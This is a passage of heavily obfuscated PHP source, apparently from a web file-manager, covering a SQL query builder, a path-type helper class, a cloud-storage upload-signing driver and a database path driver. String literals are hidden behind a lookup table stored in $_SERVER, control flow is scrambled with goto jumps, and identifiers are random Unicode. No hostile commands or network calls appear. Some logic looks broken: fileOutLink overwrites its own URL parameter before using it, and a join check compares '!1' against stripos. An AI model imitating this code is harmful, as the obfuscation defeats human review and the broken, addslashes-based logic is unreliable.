$Cճʣ[$C՝[174]], $C՝[796] => isset($Cճʣ[$C՝[540]]) ? $Cճʣ[$C՝[540]] : $C՝[43], $C՝[797] => isset($Cճʣ[$C՝[892]]) ? $Cճʣ[$C՝[892]] : $C՝[43], $C՝[794] => isset($Cճʣ[$C՝[175]]) ? $Cճʣ[$C՝[175]] : $C՝[43], $C՝[795] => isset($Cճʣ[$C՝[176]]) ? $Cճʣ[$C՝[176]] : $C՝[43], $C՝[27] => isset($Cճʣ[$C՝[85]]) ? substr($Cճʣ[$C՝[85]], 1) : $C՝[43]); } else { preg_match($C՝[893], trim($b), $A׶턂); $Cη = array($C՝[871] => $A׶턂[1], $C՝[796] => $A׶턂[2], $C՝[797] => $A׶턂[3], $C՝[794] => $A׶턂[4], $C՝[795] => $A׶턂[5], $C՝[27] => $A׶턂[6]); } $Cη[$C՝[823]] = $C՝[43]; return $Cη; } protected function debug() { $aܞ =& $_SERVER[ȦÆ]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $aܞ[894]; if (think_config($aܞ[895])) { think_status($aܞ[896]); think_trace($this->queryStr . $aܞ[897] . think_status($aܞ[30], $aܞ[896], 6) . $aܞ[898], $aܞ[43], $aܞ[899]); } } protected function parseLock($Aގ = false) { $aƌ =& $_SERVER[ȦÆ]; if (!$Aގ) { return $aƌ[43]; } if ($aƌ[825] == $this->dbType) { return $aƌ[900]; } return $aƌ[901]; } protected function parseSet($EŸӋ) { $c =& $_SERVER[ȦÆ]; foreach ($EŸӋ as $b => $F) { if (is_array($F) && $c[290] == $F[0]) { $FƱᬲ[] = $this->parseKey($b) . $c[902] . $F[1]; } elseif (is_scalar($F) || is_null($F)) { $FƱᬲ[] = $this->parseKey($b) . $c[902] . $this->parseValue($F); } } return $c[903] . implode($c[57], $FƱᬲ); } protected function bindParam($Cڄ, $D鸺) { $this->bind[$_SERVER[ȦÆ][4] . $Cڄ] = $D鸺; } protected function parseBind($B) { $B = array_merge($this->bind, $B); $this->bind = array(); return $B; } function parseKey(&$Eɉ橿, $bٍ = true) { if ($bٍ) { $Eɉ橿 = $this->parseKeyCheck($Eɉ橿); } return $Eɉ橿; } function parseKeyCheck($e洍) { $D߅ =& $_SERVER[ȦÆ]; $e洍 = trim($e洍); if (!preg_match($D߅[904], $e洍)) { think_exception($D߅[905] . $e洍); } return $e洍; } protected function parseValue($b) { $E =& $_SERVER[ȦÆ]; if (is_string($b)) { $b = $E[864] . $this->escapeString($b) . $E[864]; } elseif (isset($b[0]) && is_string($b[0]) && strtolower($b[0]) == $E[290]) { $b = $this->escapeString($b[1]); } elseif (is_array($b)) { $b = array_map(array($this, $E[865]), $b); } elseif (is_bool($b)) { $b = $b ? $E[93] : $E[473]; } elseif (is_null($b)) { $b = $E[109]; } return $b; } protected function parseField($Eא) { $cޡØ =& $_SERVER[ȦÆ]; if (is_string($Eא) && strpos($Eא, $cޡØ[57])) { $Eא = explode($cޡØ[57], $Eא); } if (is_array($Eא)) { $B = array(); foreach ($Eא as $f => $eÓ) { if (!is_numeric($f)) { $B[] = $this->parseKey($f) . $cޡØ[906] . $this->parseKey($eÓ); } else { $B[] = $this->parseKey($eÓ); } } $bߒ = implode($cޡØ[57], $B); } elseif (is_string($Eא) && !empty($Eא)) { $bߒ = $Eא; } else { $bߒ = $cޡØ[182]; } return $bߒ; } protected function parseTable($Eƛ) { $E =& $_SERVER[ȦÆ]; if (is_array($Eƛ)) { $d = array(); foreach ($Eƛ as $C𹄼 => $A) { if (!is_numeric($C𹄼)) { $d[] = $this->parseKey($C𹄼) . $E[60] . $this->parseKey($A); } else { $d[] = $this->parseKey($C𹄼); } } $Eƛ = $d; } elseif (is_string($Eƛ)) { if (strstr($Eƛ, $E[60])) { return $Eƛ; } $Eƛ = explode($E[57], $Eƛ); array_walk($Eƛ, array($this, $E[813])); } return $E[907] . trim(implode($E[908], $Eƛ), $E[819]) . $E[907]; } protected function parseWhere($Eީ) { $B =& $_SERVER[ȦÆ]; $d = $B[43]; if (is_string($Eީ)) { $d = $Eީ; } else { $Aވ = isset($Eީ[$B[909]]) ? strtoupper($Eީ[$B[909]]) : $B[43]; if (in_array($Aވ, array($B[910], $B[911], $B[912]))) { $Aވ = $B[60] . $Aވ . $B[60]; unset($Eީ[$B[909]]); } else { $Aވ = $B[913]; } foreach ($Eީ as $f => $D) { $d .= $B[270]; if (is_numeric($f)) { $f = $B[914]; } if (0 === strpos($f, $B[80])) { $d .= $this->parseThinkWhere($f, $D); } else { if (!preg_match($B[915], trim($f))) { think_exception(think_lang($B[916]) . $B[4] . $f); } $cܹĘ = is_array($D) && isset($D[$B[917]]); $f = trim($f); if (strpos($f, $B[276])) { $c = explode($B[276], $f); $Aڬ = array(); foreach ($c as $F鄰 => $Dݨ) { $c½ = $cܹĘ ? $D[$F鄰] : $D; $Aڬ[] = $B[253] . $this->parseWhereItem($this->parseKey($Dݨ), $c½) . $B[812]; } $d .= implode($B[918], $Aڬ); } elseif (strpos($f, $B[277])) { $c = explode($B[277], $f); $Aڬ = array(); foreach ($c as $F鄰 => $Dݨ) { $c½ = $cܹĘ ? $D[$F鄰] : $D; $Aڬ[] = $B[253] . $this->parseWhereItem($this->parseKey($Dݨ), $c½) . $B[812]; } $d .= implode($B[913], $Aڬ); } else { $d .= $this->parseWhereItem($this->parseKey($f), $D); } } $d .= $B[271] . $Aވ; } $d = substr($d, 0, -strlen($Aވ)); } return empty($d) ? $B[43] : $B[919] . $d; } protected function parseWhereItem($Aɫ, $a) { $f֍ =& $_SERVER[ȦÆ]; $Dהƞ = $f֍[43]; if (is_array($a)) { if (is_string($a[0])) { $E = strtolower($a[0]); if (in_array($a[0], array($f֍[902], $f֍[920], $f֍[921], $f֍[922], $f֍[923], $f֍[924]))) { $Dהƞ .= $Aɫ . $f֍[60] . $a[0] . $f֍[60] . $this->parseValue($a[1]); } elseif (preg_match($f֍[925], $a[0])) { $Dהƞ .= $Aɫ . $f֍[60] . $this->exp[$E] . $f֍[60] . $this->parseValue($a[1]); } elseif (preg_match($f֍[926], $a[0])) { if (is_array($a[1])) { $D = isset($a[2]) ? strtoupper($a[2]) : $f֍[911]; if (in_array($D, array($f֍[910], $f֍[911], $f֍[912]))) { $cפֿ = array(); foreach ($a[1] as $b鯌) { $cפֿ[] = $Aɫ . $f֍[60] . $this->exp[$E] . $f֍[60] . $this->parseValue($b鯌); } $Dהƞ .= $f֍[253] . implode($f֍[60] . $D . $f֍[60], $cפֿ) . $f֍[812]; } } else { $Dהƞ .= $Aɫ . $f֍[60] . $this->exp[$E] . $f֍[60] . $this->parseValue($a[1]); } } elseif ($f֍[290] == $E) { $Dהƞ .= $f֍[810] . $Aɫ . $f֍[60] . $a[1] . $f֍[927]; } elseif (preg_match($f֍[928], $a[0])) { if (isset($a[2]) && $f֍[290] == $a[2]) { $Dהƞ .= $Aɫ . $f֍[60] . $this->exp[$E] . $f֍[60] . $a[1]; } else { if (is_string($a[1])) { $a[1] = explode($f֍[57], $a[1]); } $Cǣ = implode($f֍[57], $this->parseValue($a[1])); $Dהƞ .= $Aɫ . $f֍[60] . $this->exp[$E] . $f֍[810] . $Cǣ . $f֍[812]; } } elseif (preg_match($f֍[929], $a[0])) { $Aԍޡ = is_string($a[1]) ? explode($f֍[57], $a[1]) : $a[1]; $Dהƞ .= $f֍[810] . $Aɫ . $f֍[60] . $this->exp[$E] . $f֍[60] . $this->parseValue($Aԍޡ[0]) . $f֍[913] . $this->parseValue($Aԍޡ[1]) . $f֍[271]; } else { think_exception(think_lang($f֍[916]) . $f֍[4] . $a[0]); } } else { $a = count($a); $b = isset($a[$a - 1]) ? strtoupper($a[$a - 1]) : $f֍[43]; if (in_array($b, array($f֍[910], $f֍[911], $f֍[912]))) { $a = $a - 1; } else { $b = $f֍[910]; } for ($fկ = 0; $fկ < $a; $fկ++) { $Aԍޡ = is_array($a[$fկ]) ? $a[$fկ][1] : $a[$fկ]; if ($f֍[290] == strtolower($a[$fկ][0])) { $Dהƞ .= $f֍[253] . $Aɫ . $f֍[60] . $Aԍޡ . $f֍[927] . $b . $f֍[60]; } else { $c = is_array($a[$fկ]) ? $this->exp[strtolower($a[$fկ][0])] : $f֍[902]; if (!$c && is_array($a[$fկ]) && in_array($a[$fկ][0], array($f֍[902], $f֍[920], $f֍[921], $f֍[922], $f֍[923], $f֍[924]))) { $c = $a[$fկ][0]; } $Dהƞ .= $f֍[253] . $Aɫ . $f֍[60] . $c . $f֍[60] . $this->parseValue($Aԍޡ) . $f֍[927] . $b . $f֍[60]; } } $Dהƞ = substr($Dהƞ, 0, -4); } } else { $Dהƞ .= $Aɫ . $f֍[930] . $this->parseValue($a); } return $Dהƞ; } protected function parseThinkWhere($C, $c) { $Cƒ =& $_SERVER[ȦÆ]; $D = $Cƒ[43]; switch ($C) { case $Cƒ[344]: $D = $c; break; case $Cƒ[914]: $D = is_string($c) ? $c : substr($this->parseWhere($c), 6); break; case $Cƒ[931]: parse_str($c, $f); if (isset($f[$Cƒ[909]])) { $A = $Cƒ[60] . strtoupper($f[$Cƒ[909]]) . $Cƒ[60]; unset($f[$Cƒ[909]]); } else { $A = $Cƒ[913]; } $D = array(); foreach ($f as $A½ʽ => $aܸ) { $D[] = $this->parseKey($A½ʽ) . $Cƒ[930] . $this->parseValue($aܸ); } $D = implode($A, $D); break; } return $D; } protected function parseLimit($Dū㱾) { $b޶ =& $_SERVER[ȦÆ]; return !empty($Dū㱾) ? $b޶[58] . $Dū㱾 . $b޶[60] : $b޶[43]; } protected function parseJoin($C޻) { $c̉ =& $_SERVER[ȦÆ]; $aȫ = $c̉[43]; if (!empty($C޻)) { if (is_array($C޻)) { foreach ($C޻ as $C㰇 => $DӢ) { if (!1 !== stripos($DӢ, $c̉[932])) { $aȫ .= $c̉[60] . $DӢ; } else { $aȫ .= $c̉[933] . $DӢ; } } } else { $aȫ .= $c̉[933] . $C޻; } } $aȫ = preg_replace($c̉[934], think_config($c̉[837]) . $c̉[935], $aȫ); return $aȫ; } protected function parseOrder($FȞ׉) { $b =& $_SERVER[ȦÆ]; if (is_array($FȞ׉)) { $c鄒ˆ = array(); foreach ($FȞ׉ as $B => $A) { if (is_numeric($B)) { $c鄒ˆ[] = $this->parseKey($A); } else { $A = in_array(strtoupper(trim($A)), array($b[936], $b[937])) ? $b[60] . $A : $b[43]; if (preg_match($b[938], $B)) { $c鄒ˆ[] = $this->parseKey($B) . $A; } else { think_exception($b[939] . $B); } } } $FȞ׉ = implode($b[57], $c鄒ˆ); } return !empty($FȞ׉) ? $b[940] . $FȞ׉ : $b[43]; } protected function parseGroup($CϦΣ) { $F =& $_SERVER[ȦÆ]; return !empty($CϦΣ) ? $F[941] . $CϦΣ : $F[43]; } protected function parseHaving($A܂܇) { $Aُ =& $_SERVER[ȦÆ]; return !empty($A܂܇) ? $Aُ[942] . $A܂܇ : $Aُ[43]; } protected function parseComment($f) { $aƔ =& $_SERVER[ȦÆ]; return !empty($f) ? $aƔ[943] . $f . $aƔ[944] : $aƔ[43]; } protected function parseDistinct($cܸ) { $f։nj =& $_SERVER[ȦÆ]; return !empty($cܸ) ? $f։nj[945] : $f։nj[43]; } protected function parseUnion($A첶) { $dቚ =& $_SERVER[ȦÆ]; if (empty($A첶)) { return $dቚ[43]; } if (isset($A첶[$dቚ[341]])) { $dۄ = $dቚ[946]; unset($A첶[$dቚ[341]]); } else { $dۄ = $dቚ[947]; } foreach ($A첶 as $F┡) { $EΏޚ[] = $dۄ . (is_array($F┡) ? $this->buildSelectSql($F┡) : $F┡); } return implode($dቚ[60], $EΏޚ); } public function insert($Cۂ펎, $e = array(), $d͆ԕ = false) { goto AǬ; AǬ: $Bϟ혐 =& $_SERVER[ȦÆ]; $Eާ␍ = $Dʡ = array(); $this->model = $e[$Bϟ혐[274]]; goto C訪; eģ: $bς׹ .= $this->parseComment(!empty($e[$Bϟ혐[346]]) ? $e[$Bϟ혐[346]] : $Bϟ혐[43]); return $this->execute($bς׹, $this->parseBind(!empty($e[$Bϟ혐[278]]) ? $e[$Bϟ혐[278]] : array())); goto dϐ֙; C訪: foreach ($Cۂ펎 as $bԆ笱 => $Eԥ) { if (is_array($Eԥ) && $Bϟ혐[290] == $Eԥ[0]) { $Dʡ[] = $this->parseKey($bԆ笱); $Eާ␍[] = $Eԥ[1]; } elseif (is_scalar($Eԥ) || is_null($Eԥ)) { $Dʡ[] = $this->parseKey($bԆ笱); $Eާ␍[] = $this->parseValue($Eԥ); } } $bς׹ = ($d͆ԕ ? $Bϟ혐[814] : $Bϟ혐[815]) . $Bϟ혐[816] . $this->parseTable($e[$Bϟ혐[272]]) . $Bϟ혐[810] . implode($Bϟ혐[57], $Dʡ) . $Bϟ혐[811] . implode($Bϟ혐[57], $Eާ␍) . $Bϟ혐[812]; $bς׹ .= $this->parseLock(isset($e[$Bϟ혐[771]]) ? $e[$Bϟ혐[771]] : !1); goto eģ; dϐ֙: } public function selectInsert($Cꧯ, $cɷĈ, $fߥސ = array()) { goto C񊍃; C񊍃: $Eʎ =& $_SERVER[ȦÆ]; $this->model = $fߥސ[$Eʎ[274]]; if (is_string($Cꧯ)) { $Cꧯ = explode($Eʎ[57], $Cꧯ); } goto DԲĵ; c: return $this->execute($f, $this->parseBind(!empty($fߥސ[$Eʎ[278]]) ? $fߥސ[$Eʎ[278]] : array())); goto C댈虄; DԲĵ: array_walk($Cꧯ, array($this, $Eʎ[813])); $f = $Eʎ[948] . $this->parseTable($cɷĈ) . $Eʎ[810] . implode($Eʎ[57], $Cꧯ) . $Eʎ[927]; $f .= $this->buildSelectSql($fߥސ); goto c; C댈虄: } public function update($b۪, $aޟՃ) { $Bԙ =& $_SERVER[ȦÆ]; $this->model = $aޟՃ[$Bԙ[274]]; $c = $Bԙ[949] . $this->parseTable($aޟՃ[$Bԙ[272]]) . $this->parseSet($b۪) . $this->parseWhere(!empty($aޟՃ[$Bԙ[268]]) ? $aޟՃ[$Bԙ[268]] : $Bԙ[43]) . $this->parseOrder(!empty($aޟՃ[$Bԙ[355]]) ? $aޟՃ[$Bԙ[355]] : $Bԙ[43]) . $this->parseLimit(!empty($aޟՃ[$Bԙ[285]]) ? $aޟՃ[$Bԙ[285]] : $Bԙ[43]) . $this->parseLock(isset($aޟՃ[$Bԙ[771]]) ? $aޟՃ[$Bԙ[771]] : !1) . $this->parseComment(!empty($aޟՃ[$Bԙ[346]]) ? $aޟՃ[$Bԙ[346]] : $Bԙ[43]); return $this->execute($c, $this->parseBind(!empty($aޟՃ[$Bԙ[278]]) ? $aޟՃ[$Bԙ[278]] : array())); } public function delete($F = array()) { $eĒ즚 =& $_SERVER[ȦÆ]; $this->model = $F[$eĒ즚[274]]; $bŢ = $eĒ즚[950] . $this->parseTable($F[$eĒ즚[272]]) . $this->parseWhere(!empty($F[$eĒ즚[268]]) ? $F[$eĒ즚[268]] : $eĒ즚[43]) . $this->parseOrder(!empty($F[$eĒ즚[355]]) ? $F[$eĒ즚[355]] : $eĒ즚[43]) . $this->parseLimit(!empty($F[$eĒ즚[285]]) ? $F[$eĒ즚[285]] : $eĒ즚[43]) . $this->parseLock(isset($F[$eĒ즚[771]]) ? $F[$eĒ즚[771]] : !1) . $this->parseComment(!empty($F[$eĒ즚[346]]) ? $F[$eĒ즚[346]] : $eĒ즚[43]); return $this->execute($bŢ, $this->parseBind(!empty($F[$eĒ즚[278]]) ? $F[$eĒ즚[278]] : array())); } public function select($Dڱ = array()) { goto f欇䖂; Cϸ: $Fø = isset($Dڱ[$c蓚[342]]) ? $Dڱ[$c蓚[342]] : !1; if ($Fø) { $d = is_string($Fø[$c蓚[99]]) ? $Fø[$c蓚[99]] : $c蓚[951] . md5($E͸Մ); $d = think_cache($d, $c蓚[43], $Fø); if (!1 !== $d) { return $d; } } $cߖ = $this->query($E͸Մ, $this->parseBind(!empty($Dڱ[$c蓚[278]]) ? $Dڱ[$c蓚[278]] : array())); goto Fޓ; Fޓ: if ($Fø && !1 !== $cߖ) { think_cache($d, $cߖ, $Fø); } return $cߖ; goto f͂; f欇䖂: $c蓚 =& $_SERVER[ȦÆ]; $this->model = $Dڱ[$c蓚[274]]; $E͸Մ = $this->buildSelectSql($Dڱ); goto Cϸ; f͂: } public function buildSelectSql($D񸳪 = array()) { goto Aܲ͢; Aܲ͢: $A₇ =& $_SERVER[ȦÆ]; if (isset($D񸳪[$A₇[345]])) { if (strpos($D񸳪[$A₇[345]], $A₇[57])) { list($e, $f櫞) = explode($A₇[57], $D񸳪[$A₇[345]]); } else { $e = $D񸳪[$A₇[345]]; } $e = $e ? $e : 1; $f櫞 = isset($f櫞) ? $f櫞 : (is_numeric($D񸳪[$A₇[285]]) ? $D񸳪[$A₇[285]] : 20); $Cݗ = $f櫞 * ((int) $e - 1); $D񸳪[$A₇[285]] = $Cݗ . $A₇[57] . $f櫞; } if (think_config($A₇[952])) { $Cϸ = $A₇[953] . md5(serialize($D񸳪)); $c = think_cache($Cϸ); if ($c) { return $c; } } goto D; D: $Dƞ = $this->parseSql($this->selectSql, $D񸳪); $Dƞ .= $this->parseLock(isset($D񸳪[$A₇[771]]) ? $D񸳪[$A₇[771]] : !1); if (isset($Cϸ)) { think_cache($Cϸ, $Dƞ); } goto dή; dή: return $Dƞ; goto eӷ; eӷ: } public function parseSql($dݳ, $FϼŪ = array()) { $A͎ =& $_SERVER[ȦÆ]; $dݳ = str_replace(array($A͎[954], $A͎[955], $A͎[956], $A͎[957], $A͎[958], $A͎[959], $A͎[960], $A͎[961], $A͎[962], $A͎[963], $A͎[964]), array($this->parseTable("{$FϼŪ[$A͎[272]]}"), $this->parseDistinct(isset($FϼŪ[$A͎[965]]) ? $FϼŪ[$A͎[965]] : !1), $this->parseField(!empty($FϼŪ[$A͎[266]]) ? $FϼŪ[$A͎[266]] : $A͎[182]), $this->parseJoin(!empty($FϼŪ[$A͎[275]]) ? $FϼŪ[$A͎[275]] : $A͎[43]), $this->parseWhere(!empty($FϼŪ[$A͎[268]]) ? $FϼŪ[$A͎[268]] : $A͎[43]), $this->parseGroup(!empty($FϼŪ[$A͎[966]]) ? $FϼŪ[$A͎[966]] : $A͎[43]), $this->parseHaving(!empty($FϼŪ[$A͎[967]]) ? $FϼŪ[$A͎[967]] : $A͎[43]), $this->parseOrder(!empty($FϼŪ[$A͎[355]]) ? $FϼŪ[$A͎[355]] : $A͎[43]), $this->parseLimit(!empty($FϼŪ[$A͎[285]]) ? $FϼŪ[$A͎[285]] : $A͎[43]), $this->parseUnion(!empty($FϼŪ[$A͎[340]]) ? $FϼŪ[$A͎[340]] : $A͎[43]), $this->parseComment(!empty($FϼŪ[$A͎[346]]) ? $FϼŪ[$A͎[346]] : $A͎[43])), $dݳ); return $dݳ; } public function getLastSql($Aڞ = '') { return $Aڞ ? $this->modelSql[$Aڞ] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($cմܒ) { return addslashes($cմܒ); } public function setModel($C) { $this->model = $C; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } goto cԠ; a: class KodIO { const KOD_SOURCE = "\x7b\163\x6f\165\162\143\145\175"; const KOD_USER_RECYCLE = "\x7b\165\x73\145\162\x52\145\143\x79\x63\154\145\175"; const KOD_USER_FAV = "\x7b\x75\163\145\162\106\141\166\x7d"; const KOD_USER_FILE_TAG = "\x7b\x75\x73\x65\162\x46\151\x6c\x65\x54\x61\147\x7d"; const KOD_USER_FILE_TYPE = "\x7b\x75\x73\x65\162\x46\x69\x6c\145\x54\171\160\145\x7d"; const KOD_GROUP_ROOT_SELF = "\x7b\147\x72\x6f\165\160\122\x6f\157\x74\123\x65\154\146\175"; const KOD_USER_SHARE = "\x7b\165\163\x65\x72\123\150\141\162\x65\x7d"; const KOD_USER_SHARE_LINK = "\x7b\x75\163\x65\x72\x53\150\141\x72\x65\x4c\x69\x6e\x6b\x7d"; const KOD_USER_SHARE_TO_ME = "\173\x73\150\x61\x72\x65\x54\157\x4d\145\175"; const KOD_SHARE_ITEM = "\173\x73\x68\141\x72\x65\111\164\145\155\175"; const KOD_SHARE_LINK = "\x7b\163\x68\141\162\x65\x49\164\x65\x6d\114\151\156\x6b\175"; const KOD_SEARCH = "\x7b\163\145\141\162\x63\150\175"; const KOD_BLOCK = "\173\142\x6c\157\x63\x6b\x7d"; const KOD_IO = "\173\151\x6f\x7d"; const KOD_USER_RECENT = "\173\x75\x73\x65\162\122\x65\x6e\x63\145\156\164\x7d"; const KOD_USER_DRIVER = "\173\144\x72\151\x76\x65\162\175"; public static function typeList() { $e͂ =& $_SERVER[ȦÆ]; return array($e͂[1043] => self::KOD_SOURCE, $e͂[1044] => self::KOD_USER_RECYCLE, $e͂[1045] => self::KOD_USER_FAV, $e͂[1046] => self::KOD_USER_FILE_TAG, $e͂[1047] => self::KOD_USER_FILE_TYPE, $e͂[1048] => self::KOD_GROUP_ROOT_SELF, $e͂[1049] => self::KOD_USER_SHARE, $e͂[1050] => self::KOD_USER_SHARE_LINK, $e͂[1051] => self::KOD_USER_SHARE_TO_ME, $e͂[1052] => self::KOD_SHARE_ITEM, $e͂[1053] => self::KOD_SHARE_LINK, $e͂[1054] => self::KOD_SEARCH, $e͂[1055] => self::KOD_BLOCK, $e͂[1056] => self::KOD_IO, $e͂[1057] => self::KOD_USER_RECENT, $e͂[1058] => self::KOD_USER_DRIVER); } public static function parse($F) { goto b֋; cɴ: preg_match($e񾆄[1059], $F, $cƂ߶); $b = array($e񾆄[393] => !1, $e񾆄[1060] => !1, $e񾆄[390] => !1, $e񾆄[85] => $F, $e񾆄[1005] => !1, $e񾆄[1004] => $e񾆄[43]); if (is_array($cƂ߶) && count($cƂ߶) == 5) { $Eӂ = $e񾆄[1061] . $cƂ߶[2] . $e񾆄[320]; if (in_array($Eӂ, $B)) { $b[$e񾆄[1005]] = $cƂ߶[1]; $b[$e񾆄[39]] = $Eӂ; $b[$e񾆄[1062]] = substr($Eӂ, 1, -1); $b[$e񾆄[372]] = $cƂ߶[3]; } $b[$e񾆄[1004]] = $cƂ߶[4]; } goto A墈榋; A墈榋: $aާ = array($e񾆄[43], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $b[$e񾆄[1063]] = in_array($b[$e񾆄[39]], $aާ); return $b; goto CǸի; b֋: $e񾆄 =& $_SERVER[ȦÆ]; $F = self::clear($F); $B = array_values(self::typeList()); goto cɴ; CǸի: } public static function clear($fگģ) { goto A҇; C: if (substr($fگģ, 0, 3) == $Eʼn[1065]) { $fگģ = substr($fگģ, 3); } while (strstr($fگģ, $bʃ)) { $fگģ = str_replace($bʃ, $Eʼn[18], $fگģ); } $fگģ = preg_replace($Eʼn[1066], $Eʼn[18], $fگģ); goto aΌə; A҇: $Eʼn =& $_SERVER[ȦÆ]; $fگģ = str_replace($Eʼn[103], $Eʼn[18], $fگģ); $bʃ = $Eʼn[1064]; goto C; aΌə: if ($fگģ == $Eʼn[18]) { return $Eʼn[18]; } $fگģ = rtrim($fگģ, $Eʼn[18]); return $fگģ; goto bА; bА: } public static function sourceID($CڷΝ) { $eʵ =& $_SERVER[ȦÆ]; $Cٝ܅ = self::parse($CڷΝ); if ($Cٝ܅[$eʵ[39]] !== self::KOD_SOURCE) { show_json(LNG($eʵ[1067]), !1); } return $Cٝ܅[$eʵ[372]]; } public static function make($A) { if (!$A) { return !1; } return self::makePath(self::KOD_SOURCE, intval($A)); } public static function makeShare($aṷ̈̀, $Cҧצ) { return self::makePath(self::KOD_SHARE_ITEM, $aṷ̈̀, $Cҧצ); } public static function makeFileTypePath($dܚɲ) { return self::makePath(self::KOD_USER_FILE_TYPE, $dܚɲ); } public static function makeFileTagPath($cݱڊ) { return self::makePath(self::KOD_USER_FILE_TAG, $cݱڊ); } public static function makePath($f梜, $fׄӞ = '', $EΙ = '') { $c =& $_SERVER[ȦÆ]; $cݸ = substr($f梜, 1, -1); $A볬я = $c[1068] . $cݸ . $c[1069] . $fׄӞ . $c[1070]; $A볬я = $EΙ ? $A볬я . $EΙ . $c[18] : $A볬я; return $A볬я; } public static function hashPath($dЪ) { $DŹ =& $_SERVER[ȦÆ]; $Eꍙ͐ = is_array($dЪ) ? $dЪ : IO::info($dЪ); $Dɾԕ = _get($Eꍙ͐, $DŹ[1071], $DŹ[43]); if (!$Dɾԕ) { $e = KodIO::parse($Eꍙ͐[$DŹ[85]]); if (!$e[$DŹ[39]]) { $Dɾԕ = IO::hashSimple($Eꍙ͐[$DŹ[85]]); } } if (!$Dɾԕ) { $Dɾԕ = md5($Eꍙ͐[$DŹ[85]] . $Eꍙ͐[$DŹ[87]] . $Eꍙ͐[$DŹ[116]]); } return $Dɾԕ; } public static function initSystemPath() { $f䧖 =& $_SERVER[ȦÆ]; if (defined($f䧖[1072])) { return; } define($f䧖[1072], self::systemPath($f䧖[1073])); define($f䧖[1074], self::systemPath($f䧖[1075])); define($f䧖[1076], self::systemPath($f䧖[1077])); define($f䧖[1078], self::systemPath($f䧖[1079])); } private static function systemPath($A藲) { goto a; d앮: return $Aį; goto cõߚ; aީ: if ($Aį) { return $Aį; } if ($A藲 == $d˞[1073]) { $Aį = self::make(Model($d˞[753])->systemRootPathAdd($d˞[1082])); } else { $Aį = self::systemPath($d˞[1073]); $CϚ = self::sourceID($Aį); $Aį = self::make(Model($d˞[753])->mkdir($CϚ, $A藲)); } Model($d˞[1081])->set($C, $Aį); goto d앮; a: $d˞ =& $_SERVER[ȦÆ]; $C = $d˞[1080] . ucfirst($A藲); $Aį = Model($d˞[1081])->get($C); goto aީ; cõߚ: } public static function systemFolder($cۗ) { $fĄ⛵ = IO_PATH_SYSTEM_SOURCE . $cۗ; $a = Cache::get($fĄ⛵); if (!$a) { $f쳘 = IO::infoFull($fĄ⛵); if (!$f쳘) { $a = IO::mkdir($fĄ⛵, REPEAT_SKIP); } else { $a = $f쳘[$_SERVER[ȦÆ][85]]; } Cache::set($fĄ⛵, $a, 3600 * 10); } return $a; } public static function defaultDriver() { return Model($_SERVER[ȦÆ][705])->defaultDriver(); } public static function defaultIO() { $eؖ =& $_SERVER[ȦÆ]; $cگϨ = self::defaultDriver(); return $eؖ[1083] . $cگϨ[$eؖ[372]] . $eؖ[1070]; } public static function fileTypeList() { $F„ =& $_SERVER[ȦÆ]; $Aڑ = $GLOBALS[$F„[16]][$F„[1084]]; foreach ($Aڑ as $eǔ̯ => $eę⤦) { $E򄘎Ւ = $F„[1085] . $eǔ̯; $b옳 = LNG($E򄘎Ւ); if ($E򄘎Ւ != $b옳) { $Aڑ[$eǔ̯][$F„[38]] = $b옳; } } return $Aڑ; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($E會) { parent::__construct($E會); $this->signatureVersion($_SERVER[ȦÆ][206]); } public function uploadFormData($dԸ, $a⧏ = 3600) { goto B۞; dɇ: $d = array($eѥ[1088] => $cؖ, $eѥ[1089] => array(array($eѥ[1090] => $Eɨ), array($eѥ[1091] => $this->bucket), array($eѥ[1092], $eѥ[1093], $eѥ[43]), array($eѥ[1094] => $DĠ), array($eѥ[1095] => $C岉), array($eѥ[1096] => $this->accessKey), array($eѥ[1097] => $Fѯ))); $d = json_encode($d); $C曉 = hash_hmac($eѥ[223], $Fѯ, $this->secret); goto B֠ծ; B֠ծ: $b֛ = sha1($d); $bͮ = hash_hmac($eѥ[223], $b֛, $C曉); $E尚 = array($eѥ[1090] => $Eɨ, $eѥ[1094] => $DĠ, $eѥ[1098] => base64_encode($d), $eѥ[1095] => $C岉, $eѥ[1096] => $this->accessKey, $eѥ[1099] => $Fѯ, $eѥ[1100] => $bͮ, $eѥ[175] => $this->getHost()); goto BƏ; bܢ: $DĠ = $eѥ[1086]; $cؖ = gmdate($eѥ[1087], time() + $a⧏); $Fѯ = (string) time() . $eѥ[77] . (string) (time() + $a⧏); goto dɇ; B۞: $eѥ =& $_SERVER[ȦÆ]; $Eɨ = $eѥ[191]; $C岉 = $eѥ[223]; goto bܢ; BƏ: return $E尚; goto FĖ; FĖ: } public function fileOutLink($c) { $c =& $_SERVER[ȦÆ]; if (substr($c, 0, 7) == $c[1101]) { $c = $c[1102] . substr($c, 7); } header($c[162] . $c); die; } } class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($C䰇) { $this->pathParse = $C䰇; $this->model = Model($_SERVER[ȦÆ][1103]); } public function getPath($d) { return trim($d, $_SERVER[ȦÆ][18]); } public function pathFather($f눰ߋ) { $Dޕ = $this->parse($f눰ߋ); $Dޕ = $this->infoSimple($f눰ߋ); return $Dޕ ? $Dޕ[$_SERVER[ȦÆ][466]] : !1; } public function getPathName($fޚ) { $bӝ = $this->infoSimple($fޚ); return $bӝ ? $bӝ[$_SERVER[ȦÆ][38]] : !1; } public function getPathOuter($F㦜ƪ) { if (!$F㦜ƪ) { return $F㦜ƪ; } $bͲ = $this->parse($F㦜ƪ); return KodIO::make($bͲ[$_SERVER[ȦÆ][372]]); } public function copyFolderFromIO($e֛, $cި, $cޓ, $dՈڵ, $Eꭉ) { $Dٞ = $this->model->copyFolderFromIO($e֛, $cި, $cޓ, $dՈڵ, $Eꭉ); return KodIO::make($Dٞ); } public function isParentOf($b, $Bˢ) { return $this->model->isParentOf($b, $Bˢ); } public function mkfile($fݒ, $eЍԧ = '', $fᣣ䋝 = REPEAT_RENAME) { $FǶ =& $_SERVER[ȦÆ]; $a = $this->parse($fݒ); $fݒ = $a[$FǶ[372]]; for ($DҘ = 0; $DҘ < count($a[$FǶ[1104]]); $DҘ++) { $E©̜ = $a[$FǶ[1104]][$DҘ]; if ($DҘ == count($a[$FǶ[1104]]) - 1) { $fݒ = 